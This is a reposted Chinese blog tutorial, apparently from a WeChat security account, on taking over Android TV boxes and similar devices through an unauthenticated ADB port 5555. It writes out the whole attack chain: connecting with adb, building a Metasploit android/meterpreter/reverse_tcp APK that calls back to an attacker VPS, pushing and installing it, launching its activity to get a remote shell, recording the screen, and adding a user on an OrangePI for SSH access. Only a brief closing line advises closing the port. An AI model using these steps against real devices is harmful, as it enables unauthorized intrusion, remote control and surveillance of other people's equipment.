开始前 本文章由群内村サメマル 提供。渗透机器为自己家网络电视盒切勿用于非法操作
adb
全称叫做Android Debug Bridge
,好像挺高大上的,但是说白了就是个安卓的调试工具,adb的rce(remote command execute
)就是因为开放端口5555
且未鉴权所导致的攻击者可以通过adb
命令连接到失陷设备上,比如版本较低的开放了5555端口的安卓手机或者基于安卓开发的例如智能电视只因等等(暗藏鸡脚)
我们需要去连接到adb
,那么我们需要使用adb工具,下载安装完成,因为没有配置系统变量,那么我们进入目录下直接运行adb.exe
进行操作
adb
下载链接:
https://developer.android.com/studio/releases/platform-tools?hl=zh-cn
连接我们使用adb connect ip:5555
,输入命令adb devices
,如果返回连接成功,就会显示下图
看到devices
就代表连接成功
查看一下系统内存使用:adb shell dumpsys meminfo
这里只截取了一部分
查看Android 系统版本:adb shell getprop ro.build.version.release
系统有点子老啊
我们使用adb root
,查看是否可以以root
的身份进行连接
无法使用root
进行连接,如果adb root
执行成功,那么我们每一次连接都是root
用户身份登录,可惜这儿不行QAQ
卸载/安装adb uninstall(install) com.xxx.yy(xxx.apk)
广播和模拟按键输入:也是我觉得最好玩的一个
广播
android.net.conn.CONNECTIVITY_CHANGE 网络连接变化 android.intent.action.SCREEN_ON 屏幕点亮 android.intent.action.SCREEN_OFF 屏幕熄灭 android.intent.action.BATTERY_LOW 电量低,会弹出电量低提示框 android.intent.action.BATTERY_OKAY 电量恢复了 android.intent.action.BOOT_COMPLETED 设备启动完毕 android.intent.action.DEVICE_STORAGE_LOW 存储空间过低 android.intent.action.DEVICE_STORAGE_OK 存储空间恢复 android.intent.action.PACKAGE_ADDED 安装了新的应用 android.net.wifi.STATE_CHANGE wiFi 连接状态发生变化 android.net.wifi.WIFI_STATE_CHANGED wiFi状态变为启用关闭/正在启动/正在关闭/未知 android.intent.action.BATTERY_CHANGED 电池电量发生变化 android.intent.action.INPUT_METHOD_CHANGED 系统输入法发生变化 android.intent.action.ACTION_POWER_CONNECTED 外部电源连接 android.intent.action.ACTION_POWER_DISCONNECTED 外部电源断开连接 android.intent.action.DREAMING_STARTED 系统开始休眠 android.intent.action.DREAMING_STOPPED 系统停止休眠 android.intent.action.WALLPAPER_CHANGED 壁纸发生变化 android.intent.action.HEADSET_PLUG 插入耳机 android.intent.action.MEDIA_UNMOUNTED 卸载外部介质 android.intent.action.MEDIA_MOUNTED 挂载外部介质 android.os.action.POWER_SAVE_MODE_CHANGED 省电模式开启
用法:adb shell am broadcast -a android.intent.action.SCREEN_ON
模拟输入
参考链接:https://developer.android.com/reference/android/view/KeyEvent#constants
静音:adb shell input keyevent 164
电源:adb shell input keyevent 26
等等,挺多的,我这里只举了两个
然后我们随便做个msf的木马,我懒,懒得去做加壳免杀啥的,爱谁谁,就这样吧,直接上传上去
msfvenom -p android/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=3451 R > shell.apk > shell.apk
msf运行起来
上传马子,这儿直接把马子从vps
上scp
保存到本地目录,通过adb push 本地文件 远程设备需要保存的路径
上传完成,如果碰到有Permission denied
,说明你上传的路径无权限,小问题,换个路径就好了,实在不行,换个target就好了,下面就到了安装马子这个环节了,安装其实很简单
adb install shell.apk
啊这,有毒,绝对有毒!!!咱给他重启一下
今天动了脑子,不会要长脑花了吧
安装成功,重启解决99%,剩下1%换目标
现在需要去运行这个马子上线msf
我们先看看安卓的木马是哪个包
使用命令查看第三方软件应用:adb shell pm list packages -3
找到包了,要启动Activity才能上线msf
如何启动呢?
我百度谷歌搜了半天没搜到msf的apk文件有些啥Activity
,气抖冷
那就创建差异化赛道,简单,我们就直接把shell.apk
给简单的逆一下
运行
jdax-gui.bat
,加载我们的木马文件(懒得搜,项目文件自己去github搜哈)
找到
com.metasploit.stage.MainActivity
,这个就是我们上线msf所需要运行的
运行这个主类,使用命令:
am start 包/Activity
am start com.metasploit.stage/com.metasploit.stage.MainActivity
(不知道为啥在交互shell里显示不全)
运行,上线msf,现在,成功通过我们生成的木马apk文件上线到vps
看了一下,没啥好玩的,就是个电视机tv
盒子,用adb命令给他录了个屏,使用命令screenrecord /存放路径/screen.mp4
,这个默认录屏三分钟,然后pull
到本地
当然,如果我们想方便快捷一点,不使用命令去操作,可以使用一个简单的工具去连接
项目地址https://github.com/OrangeOran/ADB-Tool
不过在使用这个工具的时候,我们需要手动连接到这个设备
然后点击获取设备就能获取到设备信息,图形化界面比较简洁
感觉不是很行,所以下面我再介绍一款比较强悍的连接工具AutumnBox
这个工具提供adb连接,功能强大,点击连接网络设备,输入IP地址就行,默认访问端口是5555
项目地址:https://github.com/zsh2401/AutumnBox
可以截图、设置管理账户,那些功能我还没玩过(怕一不小心给他玩崩了)
截了张图,不过貌似不太行hhhh
又学到新姿势了
当然,经过我的大量测试,除了安卓系统(比如一些游戏机、tv盒子、奶茶饮品收付款系统)、iot系统(温度检测系统)之外,也有其它系统也存在adb的5555端口,比如这个orangePI
系统,他就存在一个adb
致root
权限获取
给他添加一个用户进去
用户添加成功
尝试ssh连接
可以看到,是能成功连接到这台orangePI
的
所以,在平时不用adb
调试的时候,就尽量关闭5555
端口,或者使用usb
连接的方式调试
特别声明:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,我不为此承担任何责任。
作者有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者的允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。切勿用于非法,仅供学习参考
原文始发于微信公众号(南街老友):adb未授权访问所导致的攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论